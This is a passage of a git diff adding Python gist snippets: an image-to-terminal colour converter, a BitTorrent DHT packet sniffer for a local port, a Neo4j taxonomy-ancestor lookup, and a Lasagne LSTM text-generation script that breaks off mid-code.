+	(68, (0x5f, 0x87, 0xd7)), # SteelBlue3
+	(69, (0x5f, 0x87, 0xff)), # CornflowerBlue
+	(70, (0x5f, 0xaf, 0x00)), # Chartreuse3
+	(71, (0x5f, 0xaf, 0x5f)), # DarkSeaGreen4
+	(72, (0x5f, 0xaf, 0x87)), # CadetBlue
+	(73, (0x5f, 0xaf, 0xaf)), # CadetBlue
+	(74, (0x5f, 0xaf, 0xd7)), # SkyBlue3
+	(75, (0x5f, 0xaf, 0xff)), # SteelBlue1
+	(76, (0x5f, 0xd7, 0x00)), # Chartreuse3
+	(77, (0x5f, 0xd7, 0x5f)), # PaleGreen3
+	(78, (0x5f, 0xd7, 0x87)), # SeaGreen3
+	(79, (0x5f, 0xd7, 0xaf)), # Aquamarine3
+	(80, (0x5f, 0xd7, 0xd7)), # MediumTurquoise
+	(81, (0x5f, 0xd7, 0xff)), # SteelBlue1
+	(82, (0x5f, 0xff, 0x00)), # Chartreuse2
+	(83, (0x5f, 0xff, 0x5f)), # SeaGreen2
+	(84, (0x5f, 0xff, 0x87)), # SeaGreen1
+	(85, (0x5f, 0xff, 0xaf)), # SeaGreen1
+	(86, (0x5f, 0xff, 0xd7)), # Aquamarine1
+	(87, (0x5f, 0xff, 0xff)), # DarkSlateGray2
+	(88, (0x87, 0x00, 0x00)), # DarkRed
+	(89, (0x87, 0x00, 0x5f)), # DeepPink4
+	(90, (0x87, 0x00, 0x87)), # DarkMagenta
+	(91, (0x87, 0x00, 0xaf)), # DarkMagenta
+	(92, (0x87, 0x00, 0xd7)), # DarkViolet
+	(93, (0x87, 0x00, 0xff)), # Purple
+	(94, (0x87, 0x5f, 0x00)), # Orange4
+	(95, (0x87, 0x5f, 0x5f)), # LightPink4
+	(96, (0x87, 0x5f, 0x87)), # Plum4
+	(97, (0x87, 0x5f, 0xaf)), # MediumPurple3
+	(98, (0x87, 0x5f, 0xd7)), # MediumPurple3
+	(99, (0x87, 0x5f, 0xff)), # SlateBlue1
+	(100, (0x87, 0x87, 0x00)), # Yellow4
+	(101, (0x87, 0x87, 0x5f)), # Wheat4
+	(102, (0x87, 0x87, 0x87)), # Grey53
+	(103, (0x87, 0x87, 0xaf)), # LightSlateGrey
+	(104, (0x87, 0x87, 0xd7)), # MediumPurple
+	(105, (0x87, 0x87, 0xff)), # LightSlateBlue
+	(106, (0x87, 0xaf, 0x00)), # Yellow4
+	(107, (0x87, 0xaf, 0x5f)), # DarkOliveGreen3
+	(108, (0x87, 0xaf, 0x87)), # DarkSeaGreen
+	(109, (0x87, 0xaf, 0xaf)), # LightSkyBlue3
+	(110, (0x87, 0xaf, 0xd7)), # LightSkyBlue3
+	(111, (0x87, 0xaf, 0xff)), # SkyBlue2
+	(112, (0x87, 0xd7, 0x00)), # Chartreuse2
+	(113, (0x87, 0xd7, 0x5f)), # DarkOliveGreen3
+	(114, (0x87, 0xd7, 0x87)), # PaleGreen3
+	(115, (0x87, 0xd7, 0xaf)), # DarkSeaGreen3
+	(116, (0x87, 0xd7, 0xd7)), # DarkSlateGray3
+	(117, (0x87, 0xd7, 0xff)), # SkyBlue1
+	(118, (0x87, 0xff, 0x00)), # Chartreuse1
+	(119, (0x87, 0xff, 0x5f)), # LightGreen
+	(120, (0x87, 0xff, 0x87)), # LightGreen
+	(121, (0x87, 0xff, 0xaf)), # PaleGreen1
+	(122, (0x87, 0xff, 0xd7)), # Aquamarine1
+	(123, (0x87, 0xff, 0xff)), # DarkSlateGray1
+	(124, (0xaf, 0x00, 0x00)), # Red3
+	(125, (0xaf, 0x00, 0x5f)), # DeepPink4
+	(126, (0xaf, 0x00, 0x87)), # MediumVioletRed
+	(127, (0xaf, 0x00, 0xaf)), # Magenta3
+	(128, (0xaf, 0x00, 0xd7)), # DarkViolet
+	(129, (0xaf, 0x00, 0xff)), # Purple
+	(130, (0xaf, 0x5f, 0x00)), # DarkOrange3
+	(131, (0xaf, 0x5f, 0x5f)), # IndianRed
+	(132, (0xaf, 0x5f, 0x87)), # HotPink3
+	(133, (0xaf, 0x5f, 0xaf)), # MediumOrchid3
+	(134, (0xaf, 0x5f, 0xd7)), # MediumOrchid
+	(135, (0xaf, 0x5f, 0xff)), # MediumPurple2
+	(136, (0xaf, 0x87, 0x00)), # DarkGoldenrod
+	(137, (0xaf, 0x87, 0x5f)), # LightSalmon3
+	(138, (0xaf, 0x87, 0x87)), # RosyBrown
+	(139, (0xaf, 0x87, 0xaf)), # Grey63
+	(140, (0xaf, 0x87, 0xd7)), # MediumPurple2
+	(141, (0xaf, 0x87, 0xff)), # MediumPurple1
+	(142, (0xaf, 0xaf, 0x00)), # Gold3
+	(143, (0xaf, 0xaf, 0x5f)), # DarkKhaki
+	(144, (0xaf, 0xaf, 0x87)), # NavajoWhite3
+	(145, (0xaf, 0xaf, 0xaf)), # Grey69
+	(146, (0xaf, 0xaf, 0xd7)), # LightSteelBlue3
+	(147, (0xaf, 0xaf, 0xff)), # LightSteelBlue
+	(148, (0xaf, 0xd7, 0x00)), # Yellow3
+	(149, (0xaf, 0xd7, 0x5f)), # DarkOliveGreen3
+	(150, (0xaf, 0xd7, 0x87)), # DarkSeaGreen3
+	(151, (0xaf, 0xd7, 0xaf)), # DarkSeaGreen2
+	(152, (0xaf, 0xd7, 0xd7)), # LightCyan3
+	(153, (0xaf, 0xd7, 0xff)), # LightSkyBlue1
+	(154, (0xaf, 0xff, 0x00)), # GreenYellow
+	(155, (0xaf, 0xff, 0x5f)), # DarkOliveGreen2
+	(156, (0xaf, 0xff, 0x87)), # PaleGreen1
+	(157, (0xaf, 0xff, 0xaf)), # DarkSeaGreen2
+	(158, (0xaf, 0xff, 0xd7)), # DarkSeaGreen1
+	(159, (0xaf, 0xff, 0xff)), # PaleTurquoise1
+	(160, (0xd7, 0x00, 0x00)), # Red3
+	(161, (0xd7, 0x00, 0x5f)), # DeepPink3
+	(162, (0xd7, 0x00, 0x87)), # DeepPink3
+	(163, (0xd7, 0x00, 0xaf)), # Magenta3
+	(164, (0xd7, 0x00, 0xd7)), # Magenta3
+	(165, (0xd7, 0x00, 0xff)), # Magenta2
+	(166, (0xd7, 0x5f, 0x00)), # DarkOrange3
+	(167, (0xd7, 0x5f, 0x5f)), # IndianRed
+	(168, (0xd7, 0x5f, 0x87)), # HotPink3
+	(169, (0xd7, 0x5f, 0xaf)), # HotPink2
+	(170, (0xd7, 0x5f, 0xd7)), # Orchid
+	(171, (0xd7, 0x5f, 0xff)), # MediumOrchid1
+	(172, (0xd7, 0x87, 0x00)), # Orange3
+	(173, (0xd7, 0x87, 0x5f)), # LightSalmon3
+	(174, (0xd7, 0x87, 0x87)), # LightPink3
+	(175, (0xd7, 0x87, 0xaf)), # Pink3
+	(176, (0xd7, 0x87, 0xd7)), # Plum3
+	(177, (0xd7, 0x87, 0xff)), # Violet
+	(178, (0xd7, 0xaf, 0x00)), # Gold3
+	(179, (0xd7, 0xaf, 0x5f)), # LightGoldenrod3
+	(180, (0xd7, 0xaf, 0x87)), # Tan
+	(181, (0xd7, 0xaf, 0xaf)), # MistyRose3
+	(182, (0xd7, 0xaf, 0xd7)), # Thistle3
+	(183, (0xd7, 0xaf, 0xff)), # Plum2
+	(184, (0xd7, 0xd7, 0x00)), # Yellow3
+	(185, (0xd7, 0xd7, 0x5f)), # Khaki3
+	(186, (0xd7, 0xd7, 0x87)), # LightGoldenrod2
+	(187, (0xd7, 0xd7, 0xaf)), # LightYellow3
+	(188, (0xd7, 0xd7, 0xd7)), # Grey84
+	(189, (0xd7, 0xd7, 0xff)), # LightSteelBlue1
+	(190, (0xd7, 0xff, 0x00)), # Yellow2
+	(191, (0xd7, 0xff, 0x5f)), # DarkOliveGreen1
+	(192, (0xd7, 0xff, 0x87)), # DarkOliveGreen1
+	(193, (0xd7, 0xff, 0xaf)), # DarkSeaGreen1
+	(194, (0xd7, 0xff, 0xd7)), # Honeydew2
+	(195, (0xd7, 0xff, 0xff)), # LightCyan1
+	(196, (0xff, 0x00, 0x00)), # Red1
+	(197, (0xff, 0x00, 0x5f)), # DeepPink2
+	(198, (0xff, 0x00, 0x87)), # DeepPink1
+	(199, (0xff, 0x00, 0xaf)), # DeepPink1
+	(200, (0xff, 0x00, 0xd7)), # Magenta2
+	(201, (0xff, 0x00, 0xff)), # Magenta1
+	(202, (0xff, 0x5f, 0x00)), # OrangeRed1
+	(203, (0xff, 0x5f, 0x5f)), # IndianRed1
+	(204, (0xff, 0x5f, 0x87)), # IndianRed1
+	(205, (0xff, 0x5f, 0xaf)), # HotPink
+	(206, (0xff, 0x5f, 0xd7)), # HotPink
+	(207, (0xff, 0x5f, 0xff)), # MediumOrchid1
+	(208, (0xff, 0x87, 0x00)), # DarkOrange
+	(209, (0xff, 0x87, 0x5f)), # Salmon1
+	(210, (0xff, 0x87, 0x87)), # LightCoral
+	(211, (0xff, 0x87, 0xaf)), # PaleVioletRed1
+	(212, (0xff, 0x87, 0xd7)), # Orchid2
+	(213, (0xff, 0x87, 0xff)), # Orchid1
+	(214, (0xff, 0xaf, 0x00)), # Orange1
+	(215, (0xff, 0xaf, 0x5f)), # SandyBrown
+	(216, (0xff, 0xaf, 0x87)), # LightSalmon1
+	(217, (0xff, 0xaf, 0xaf)), # LightPink1
+	(218, (0xff, 0xaf, 0xd7)), # Pink1
+	(219, (0xff, 0xaf, 0xff)), # Plum1
+	(220, (0xff, 0xd7, 0x00)), # Gold1
+	(221, (0xff, 0xd7, 0x5f)), # LightGoldenrod2
+	(222, (0xff, 0xd7, 0x87)), # LightGoldenrod2
+	(223, (0xff, 0xd7, 0xaf)), # NavajoWhite1
+	(224, (0xff, 0xd7, 0xd7)), # MistyRose1
+	(225, (0xff, 0xd7, 0xff)), # Thistle1
+	(226, (0xff, 0xff, 0x00)), # Yellow1
+	(227, (0xff, 0xff, 0x5f)), # LightGoldenrod1
+	(228, (0xff, 0xff, 0x87)), # Khaki1
+	(229, (0xff, 0xff, 0xaf)), # Wheat1
+	(230, (0xff, 0xff, 0xd7)), # Cornsilk1
+	(231, (0xff, 0xff, 0xff)), # Grey100
+	(232, (0x08, 0x08, 0x08)), # Grey3
+	(233, (0x12, 0x12, 0x12)), # Grey7
+	(234, (0x1c, 0x1c, 0x1c)), # Grey11
+	(235, (0x26, 0x26, 0x26)), # Grey15
+	(236, (0x30, 0x30, 0x30)), # Grey19
+	(237, (0x3a, 0x3a, 0x3a)), # Grey23
+	(238, (0x44, 0x44, 0x44)), # Grey27
+	(239, (0x4e, 0x4e, 0x4e)), # Grey30
+	(240, (0x58, 0x58, 0x58)), # Grey35
+	(241, (0x62, 0x62, 0x62)), # Grey39
+	(242, (0x6c, 0x6c, 0x6c)), # Grey42
+	(243, (0x76, 0x76, 0x76)), # Grey46
+	(244, (0x80, 0x80, 0x80)), # Grey50
+	(245, (0x8a, 0x8a, 0x8a)), # Grey54
+	(246, (0x94, 0x94, 0x94)), # Grey58
+	(247, (0x9e, 0x9e, 0x9e)), # Grey62
+	(248, (0xa8, 0xa8, 0xa8)), # Grey66
+	(249, (0xb2, 0xb2, 0xb2)), # Grey70
+	(250, (0xbc, 0xbc, 0xbc)), # Grey74
+	(251, (0xc6, 0xc6, 0xc6)), # Grey78
+	(252, (0xd0, 0xd0, 0xd0)), # Grey82
+	(253, (0xda, 0xda, 0xda)), # Grey85
+	(254, (0xe4, 0xe4, 0xe4)), # Grey89
+	(255, (0xee, 0xee, 0xee)), # Grey93
+]
+
+class StdoutWrapper():
+	def write(f, b):
+		sys.stdout.write(b.decode('utf-8'))
+	def flush(f):
+		sys.stdout.flush()
+	def close(f):
+		return
+
+def colordiff(ca, cb):
+	return (
+		abs(ca[0] - cb[0]) +
+		abs(ca[1] - cb[1]) +
+		abs(ca[2] - cb[2])
+	)
+
+def find_colorcode(c):
+	winning_colordiff = 999
+	winning_colorcode = -1
+	for cc in xterm256colors:
+		cdiff = colordiff(c, cc[1])
+		if cdiff < winning_colordiff:
+			winning_colordiff = cdiff
+			winning_colorcode = cc[0]
+	return winning_colorcode
+
+def ctrl_fg(cc):
+	if cc == -1:
+		return b"\x1b[39m"
+	else:
+		return b"\x1b[38;5;" + str(cc).encode("ascii") + b"m"
+
+def ctrl_bg(cc):
+	if cc == -1:
+		return b"\x1b[49m"
+	else:
+		return b"\x1b[48;5;" + str(cc).encode("ascii") + b"m"
+
+try:
+	opts, args = getopt.getopt(sys.argv[1:], "o:ua", ["unicode-compat"])
+except getopt.GetoptError as e:
+	print(str(e))
+	exit(1)
+
+if len(args) < 1:
+	print("Usage: %s [-o FILENAME] [-u] [--unicode-compat] [-a] FILENAME" % sys.argv[0])
+	print("Converts images into color sequences (xterm-256color)")
+	print("\t-o FILENAME\t\tWrite color sequences to file instead of outputting to stdout")
+	print("\t-u\t\t\tUse unicode characters (U+2584 and U+2580) to allow 2x resolution on the same space")
+	print("\t--unicode-compat\tTry to be more compatible to terminals that are not xterm")
+	print("\t\t\t\tUse this if it doesn't look like right")
+	print("\t-a\t\t\tUse alpha channel of image")
+	exit(1)
+
+if len(args) > 1:
+	print("Too many arguments.")
+	exit(1)
+
+o_alpha = ('-a', '') in opts
+o_unicode = ('-u', '') in opts
+o_unicode_compat = ('--unicode-compat', '') in opts
+o_outfile = ""
+
+for e in opts:
+	if e[0] == "-o":
+		o_outfile = e[1]
+
+if o_unicode_compat and not o_unicode:
+	print("Warning: --unicode-compat without -u is no-op")
+
+img = Image.open(args[0])
+if o_unicode:
+	warnlimit = 240 * 72
+else:
+	warnlimit = 120 * 36
+if img.size[0] * img.size[1] > warnlimit:
+	print("Warning: Big image, did you forget to scale it down?")
+img = img.convert("RGBA" if o_alpha else "RGB")
+imgd = img.load()
+if o_outfile == "":
+	tf = StdoutWrapper()
+else:
+	tf = open(o_outfile, "wb")
+
+if not o_unicode:
+	for y in range(img.size[1]):
+		lastcc = -1
+		for x in range(img.size[0]):
+			cc = -1 if o_alpha and imgd[x, y][3] < 128 else find_colorcode(imgd[x, y])
+			if cc == lastcc:
+				tf.write(b"  ")
+			else:
+				tf.write(ctrl_bg(cc) + b"  ") # 2 spaces per pixel because chars are non-square
+				lastcc = cc
+		tf.write(b"\x1b[0m\n")
+		tf.flush()
+else:
+	for y in range(0, img.size[1], 2):
+		lastfg, lastbg = -1, -1
+		for x in range(img.size[0]):
+			if y == img.size[1] - 1:
+				ccbg = -1
+				ccfg = -1 if o_alpha and imgd[x, y][3] < 128 else find_colorcode(imgd[x, y])
+			else:
+				ccbg = -1 if o_alpha and imgd[x, y][3] < 128 else find_colorcode(imgd[x, y])
+				ccfg = -1 if o_alpha and imgd[x, y+1][3] < 128 else find_colorcode(imgd[x, y+1])
+
+			u = False
+			if ccfg == -1 and ccbg != -1 and not o_unicode_compat:
+				# This is needed to make transparency work when there are 2 pixels
+				#  like this:
+				#  [ NON-TRANSPARENT ]
+				#  [   TRANSPARENT   ]
+				# XXX: also causes ugly lines in xfce4-terminal
+				ccfg, ccbg = ccbg, ccfg
+				u = True
+			elif ccfg == lastbg and ccbg == lastfg and not o_unicode_compat:
+				# Optimize stuff by using UPPER HALF BLOCK and leaving colors alone
+				#  instead of swapping colors and using default char
+				# XXX: Guess what? yep, causes glitches in xfce4-terminal
+				ccfg, ccbg = ccbg, ccfg
+				u = True
+
+			if ccfg != lastfg:
+				tf.write(ctrl_fg(ccfg))
+				lastfg = ccfg
+			if ccbg != lastbg:
+				tf.write(ctrl_bg(ccbg))
+				lastbg = ccbg
+
+			if ccfg == ccbg:
+				tf.write(b" ")
+			elif u:
+				tf.write("\u2580".encode('utf-8'))
+			elif y == img.size[1] - 1 and not o_unicode_compat:
+				# The last pixel row of an uneven image is encoded as UPPER HALF BLOCK
+				#  with the default bg color and the pixel color as the fg color
+				# XXX: causes ugly lines in xfce4-terminal
+				tf.write("\u2580".encode('utf-8'))
+			else:
+				tf.write("\u2584".encode('utf-8'))
+		tf.write(b"\x1b[0m\n")
+		tf.flush()
+
+tf.close()
diff --git a/hard-gists/2da57d5b039aab4da7ce/._snippet.py b/hard-gists/2da57d5b039aab4da7ce/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2da57d5b039aab4da7ce/._snippet.py differ
diff --git a/hard-gists/2da57d5b039aab4da7ce/snippet.py b/hard-gists/2da57d5b039aab4da7ce/snippet.py
new file mode 100644
index 00000000..f7f5d43f
--- /dev/null
+++ b/hard-gists/2da57d5b039aab4da7ce/snippet.py
@@ -0,0 +1,61 @@
+#!/usr/bin/env python
+"""
+Sniff a specific port for Bit Torrent DHT traffic and print
+requests/responses in human readable form.
+
+Reference: http://www.bittorrent.org/beps/bep_0005.html
+"""
+
+from pcapy import open_live
+from bencode import bdecode
+from socket import inet_aton, inet_ntoa
+import dpkt
+import sys
+
+# Defaults to 51413 (transmission's default port)
+filter_port = 51413
+
+# Callback function for parsing packets
+def parse_udp(hdr, data):
+    global filter_port 
+    try:
+        eth = dpkt.ethernet.Ethernet(data)
+    except Exception:
+        return
+    if eth.type != dpkt.ethernet.ETH_TYPE_IP:
+        return
+
+    ip = eth.data
+    if ip.p == dpkt.ip.IP_PROTO_UDP and filter_port in (ip.data.dport, ip.data.sport):
+        payload = ip.data.data
+    else:
+        return
+
+    # Print plain text bencoded request.
+    try:
+        data = bdecode(payload)
+        print "%s:%d -> %s:%d (%d bytes): %s\n" % (inet_ntoa(ip.src), ip.data.sport, 
+		inet_ntoa(ip.dst), ip.data.dport, len(payload), data)
+    except Exception:
+        return
+
+def main(argv):
+    global filter_port 
+
+    if len(argv) == 1:
+        try:
+            filter_port = int(argv[0])
+        except ValueError:
+            print "Invalid port number"
+            sys.exit(1)
+
+    print "[+] Starting sniffer"
+    pcap_obj = open_live("eth0", 65536, False, True)
+    try:
+        pcap_obj.loop(-1, parse_udp)
+    except KeyboardInterrupt:
+        print "[!] Exiting"
+        sys.exit(0)
+
+if __name__ == '__main__':
+    main(sys.argv[1:])
diff --git a/hard-gists/2db1522dbfc5fe58b52c/._snippet.py b/hard-gists/2db1522dbfc5fe58b52c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2db1522dbfc5fe58b52c/._snippet.py differ
diff --git a/hard-gists/2db1522dbfc5fe58b52c/snippet.py b/hard-gists/2db1522dbfc5fe58b52c/snippet.py
new file mode 100644
index 00000000..6ec4de32
--- /dev/null
+++ b/hard-gists/2db1522dbfc5fe58b52c/snippet.py
@@ -0,0 +1,121 @@
+#!/usr/bin/env python
+from py2neo import neo4j
+import sys
+import logging
+import argparse
+from inspect import getmembers
+from pprint import pprint
+
+parser = argparse.ArgumentParser()
+parser.add_argument("acc1",
+                    help="First NCBI ID.")
+parser.add_argument("acc2",
+                    help="Second NCBI ID.")
+
+opts=parser.parse_args()
+
+logging.basicConfig(level=logging.INFO)
+
+db = neo4j.GraphDatabaseService()
+
+# Over this value we consider
+max_distance = 1000
+
+def get_distance_node( node1, node2, link='has_parent' ):
+	query = neo4j.CypherQuery(db, "START n=node("+str(node1)+"), m=node("+str(node2)+") MATCH p=shortestPath(n-[*]-m) RETURN length(relationships(p)) as distance")
+
+	# Dummy distance... too big
+	distance = 100
+	for record in query.stream():
+		distance = record[0]
+
+	return distance
+
+def get_parent_node( node, link='has_parent' ):
+	query = neo4j.CypherQuery(db, "START n=node("+str(node)+") MATCH (n-[]->(m:TAXID)) RETURN m")
+
+	parent = 0
+	
+	for record in query.stream():
+		parent = record[0]._id
+		print "ID: "+str(parent)
+		
+	return parent
+
+def parent_distance_node( node1, node2, link='has_parent' ):
+	parent1 = get_parent_node( node1, link )
+	distance = get_distance_node( parent1, node2, link )
+	return distance
+
+
+def crawler_distance_node( node1, node2 ):
+
+	print "ITER"
+	linktype = 'has_parent'
+	distance = get_distance_node( node1, node2, linktype )
+	
+	print "DISTANCE: "+str(distance)
+	
+	if ( distance > max_distance ) :
+		return 0
+	else :
+		if ( distance == 0 ):
+			#print "EQUAL: "+node1
+			return node1
+		elif ( distance == 1 ):
+			
+			print get_parent_node(node1, linktype)
+			print get_parent_node(node2, linktype)
+			
+			if ( node2 == get_parent_node(node1, linktype) ):
+				#print "PARENT2: "+str(node2)
+				return node2
+			elif ( node1 == get_parent_node(node2, linktype) ):
+				#print "PARENT1: "+str(node1)
+				return node1
+			else :
+				return 0
+		else:
+			if ( parent_distance_node(node1, node2, linktype) >= distance ):
+				parent2 = get_parent_node(node2, linktype)
+				return crawler_distance_node( node1, parent2 )
+				
+			else :
+				parent1 = get_parent_node(node1, linktype)
+				return crawler_distance_node( parent1, node2 )
+
+
+
+
+if ( opts.acc1 == opts.acc2 ):
+	sys.exit("The same codes!")
+
+
+TAXID = db.get_or_create_index(neo4j.Node, "TAXID")
+node1list = TAXID.get("id", opts.acc1)
+node2list = TAXID.get("id", opts.acc2)
+
+node1 = 0
+node2 = 0
+
+pprint(node1list)
+pprint(node2list)
+
+for match in node1list:
+	node1 = match._id
+
+for match in node2list:
+	node2 = match._id
+
+print node1
+print node2
+
+#print get_distance_node( node1, node2 )
+
+nodecommon = crawler_distance_node( node1, node2 )
+if nodecommon == 0:
+	print "No match!"
+else:
+	tmp = db.node(nodecommon)
+	props = tmp.get_properties()
+	print props['id']
diff --git a/hard-gists/2de2e9a156fe619dbdad762fe1cf84e1/._snippet.py b/hard-gists/2de2e9a156fe619dbdad762fe1cf84e1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2de2e9a156fe619dbdad762fe1cf84e1/._snippet.py differ
diff --git a/hard-gists/2de2e9a156fe619dbdad762fe1cf84e1/snippet.py b/hard-gists/2de2e9a156fe619dbdad762fe1cf84e1/snippet.py
new file mode 100644
index 00000000..2e078cff
--- /dev/null
+++ b/hard-gists/2de2e9a156fe619dbdad762fe1cf84e1/snippet.py
@@ -0,0 +1,228 @@
+
+# coding: utf-8
+
+# Imports
+
+import os
+import cPickle
+import numpy as np
+import theano
+import theano.tensor as T
+import lasagne
+
+# Constants
+
+SEQ_LENGTH = 20  # Sequence Length
+
+N_HIDDEN = 512  # Number of units in the two hidden (LSTM) layers
+
+LEARNING_RATE = .01  # Optimization learning rate
+
+GRAD_CLIP = 100  # All gradients above this will be clipped
+
+PRINT_FREQ = 1000  # How often should we check the output?
+
+NUM_EPOCHS = 50  # Number of epochs to train the net
+
+BATCH_SIZE = 128  # Batch Size
+
+# Input data
+in_data = open('../Data/pydata.txt', 'r').read()
+
+# Seed data
+seed = """from package import Class as c\n def """  # This phrase will be used as seed to generate text.
+
+# This snippet loads the text file and creates dictionaries to 
+# encode characters into a vector-space representation and vice-versa. 
+chars = list(set(in_data))
+data_size, vocab_size = len(in_data), len(chars)
+char_to_ix = { ch:i for i,ch in enumerate(chars) }
+ix_to_char = { i:ch for i,ch in enumerate(chars) }
+
+#Lasagne Seed for Reproducibility
+lasagne.random.set_rng(np.random.RandomState(1))
+
+def gen_data(p, batch_size = BATCH_SIZE, data=in_data, return_target=True):
+    '''
+    This function produces a semi-redundant batch of training samples from the location 'p' in the provided string (data).
+    For instance, assuming SEQ_LENGTH = 5 and p=0, the function would create batches of 
+    5 characters of the string (starting from the 0th character and stepping by 1 for each semi-redundant batch)
+    as the input and the next character as the target.
+    To make this clear, let us look at a concrete example. Assume that SEQ_LENGTH = 5, p = 0 and BATCH_SIZE = 2
+    If the input string was "The quick brown fox jumps over the lazy dog.",
+    For the first data point,
+    x (the inputs to the neural network) would correspond to the encoding of 'T','h','e',' ','q'
+    y (the targets of the neural network) would be the encoding of 'u'
+    For the second point,
+    x (the inputs to the neural network) would correspond to the encoding of 'h','e',' ','q', 'u'
+    y (the targets of the neural network) would be the encoding of 'i'
+    The data points are then stacked (into a three-dimensional tensor of size (batch_size,SEQ_LENGTH,vocab_size))
+    and returned. 
+    Notice that there is overlap of characters between the batches (hence the name, semi-redundant batch).
+    '''
+    x = np.zeros((batch_size,SEQ_LENGTH,vocab_size))
+    y = np.zeros(batch_size)
+
+    for n in range(batch_size):
+        ptr = n
+        for i in range(SEQ_LENGTH):
+            x[n,i,char_to_ix[data[p+ptr+i]]] = 1.
+        if(return_target):
+            y[n] = char_to_ix[data[p+ptr+SEQ_LENGTH]]
+    return x, np.array(y,dtype='int32')
+
+def save_network(filename,param_values):
+    f = file(filename, 'wb')
+    cPickle.dump(param_values,f,protocol=cPickle.HIGHEST_PROTOCOL)
+    f.close()
+
+def load_network(filename):
+    f = file(filename, 'rb')
+    param_values = cPickle.load(f)
+    f.close()
+    return param_values
+
+# Save: 
+# save_network("my_beloved_network",lasagne.layers.get_all_param_values(output_layer))
+
+# Load:
+# saved_params = load_network("my_beloved_network")
+# lasagne.layers.set_all_param_values(output_layer, saved_params)
+
+def main(num_epochs=NUM_EPOCHS):
+    print("Building network ...")
+   
+    # First, we build the network, starting with an input layer
+    # Recurrent layers expect input of shape
+    # (batch size, SEQ_LENGTH, num_features)
+
+    l_in = lasagne.layers.InputLayer(shape=(None, None, vocab_size))
+
+    # We now build the LSTM layer which takes l_in as the input layer
+    # We clip the gradients at GRAD_CLIP to prevent the problem of exploding gradients. 
+
+    l_forward_1 = lasagne.layers.LSTMLayer(
+        l_in, N_HIDDEN, grad_clipping=GRAD_CLIP,
+        nonlinearity=lasagne.nonlinearities.tanh)
+
+    l_forward_2 = lasagne.layers.LSTMLayer(
+        l_forward_1, N_HIDDEN, grad_clipping=GRAD_CLIP,
+        nonlinearity=lasagne.nonlinearities.tanh)
+
+    # The l_forward layer creates an output of dimension (batch_size, SEQ_LENGTH, N_HIDDEN)
+    # Since we are only interested in the final prediction, we isolate that quantity and feed it to the next layer. 
+    # The output of the sliced layer will then be of size (batch_size, N_HIDDEN)
+    l_forward_slice = lasagne.layers.SliceLayer(l_forward_2, -1, 1)
+
+    # The sliced output is then passed through the softmax nonlinearity to create probability distribution of the prediction
+    # The output of this stage is (batch_size, vocab_size)
+    l_out = lasagne.layers.DenseLayer(l_forward_slice, num_units=vocab_size, W = lasagne.init.Normal(), nonlinearity=lasagne.nonlinearities.softmax)
+
+    # Theano tensor for the targets
+    target_values = T.ivector('target_output')
+    
+    # lasagne.layers.get_output produces a variable for the output of the net
+    network_output = lasagne.layers.get_output(l_out)
+
+    # The loss function is calculated as the mean of the (categorical) cross-entropy between the prediction and target.
+    cost = T.nnet.categorical_crossentropy(network_output,target_values).mean()
+
+    # Retrieve all parameters from the network
+    all_params = lasagne.layers.get_all_params(l_out,trainable=True)
+    
+    # Load saved params if exist
+    if os.path.isfile('../Data/spynet.net'):
+        print("Loading net")
+        lasagne.layers.set_all_param_values(l_out, load_network('../Data/spynet.net'))
+
+    # Compute AdaGrad updates for training
+    print("Computing updates ...")
+    updates = lasagne.updates.adagrad(cost, all_params, LEARNING_RATE)
+
+    # Theano functions for training and computing cost
+    print("Compiling functions ...")
+    train = theano.function([l_in.input_var, target_values], cost, updates=updates, allow_input_downcast=True)
+    compute_cost = theano.function([l_in.input_var, target_values], cost, allow_input_downcast=True)
+
+    # In order to generate text from the network, we need the probability distribution of the next character given
+    # the state of the network and the input (a seed).
+    # In order to produce the probability distribution of the prediction, we compile a function called probs. 
+    
+    probs = theano.function([l_in.input_var],network_output,allow_input_downcast=True)
+
+    # The next function generates text given a phrase of length at least SEQ_LENGTH.
+    # The phrase is set using the variable seed.
+    # The optional input "N" is used to set the number of characters of text to predict. 
+
+    def try_it_out(N=10000):
+        '''
+        This function uses the user-provided string "seed" and current state of the RNN generate text.
+        The function works in three steps:
+        1. It converts the string set in "seed" (which must be over SEQ_LENGTH characters long) 
+           to encoded format. We use the gen_data function for this. By providing the string and asking for a single batch,
+           we are converting the first SEQ_LENGTH characters into encoded form. 
+        2. We then use the LSTM to predict the next character and store it in a (dynamic) list sample_ix. This is done by using the 'probs'
+           function which was compiled above. Simply put, given the output, we compute the probabilities of the target and pick the one 
+           with the highest predicted probability. 
+        3. Once this character has been predicted, we construct a new sequence using all but first characters of the 
+           provided string and the predicted character. This sequence is then used to generate yet another character.
+           This process continues for "N" characters. 
+        To make this clear, let us again look at a concrete example. 
+        Assume that SEQ_LENGTH = 5 and seed = "The quick brown fox jumps". 
+        We initially encode the first 5 characters ('T','h','e',' ','q'). The next character is then predicted (as explained in step 2). 
+        Assume that this character was 'J'. We then construct a new sequence using the last 4 (=SEQ_LENGTH-1) characters of the previous
+        sequence ('h','e',' ','q') , and the predicted letter 'J'. This new sequence is then used to compute the next character and 
+        the process continues.
+        '''
+
+        assert(len(seed)>=SEQ_LENGTH)
+        sample_ix = []
+        x,_ = gen_data(len(seed)-SEQ_LENGTH, 1, seed,0)
+
+        for i in range(N):
+            # Pick the character that got assigned the highest probability
+            # ix = np.argmax(probs(x).ravel())
+            # Alternatively, to sample from the distribution instead:
+            ix = np.random.choice(np.arange(vocab_size), p=probs(x).ravel())
+            sample_ix.append(ix)
+            x[:,0:SEQ_LENGTH-1,:] = x[:,1:,:]
+            x[:,SEQ_LENGTH-1,:] = 0
+            x[0,SEQ_LENGTH-1,sample_ix[-1]] = 1. 
+
+        random_snippet = seed + ''.join(ix_to_char[ix] for ix in sample_ix)    
+        print("----\n %s \n----" % random_snippet)
+        with open('../Data/sample.txt', 'a') as f:
+            f.write("----\n %s \n----" % random_snippet)
+
+
+    
+    print("Training ...")
+    print("Seed used for text generation is: " + seed)
+    print lasagne.layers.get_all_param_values(l_out)
+    p = 0
+    try:
+        for it in xrange(data_size * num_epochs / BATCH_SIZE):
+            try_it_out() # Generate text using the p^th character as the start. 
+            
+            avg_cost = 0;
+            for _ in range(PRINT_FREQ):
+                x,y = gen_data(p)
+                
+                #print(p)
+                p += SEQ_LENGTH + BATCH_SIZE - 1 
+                if(p+BATCH_SIZE+SEQ_LENGTH >= data_size):
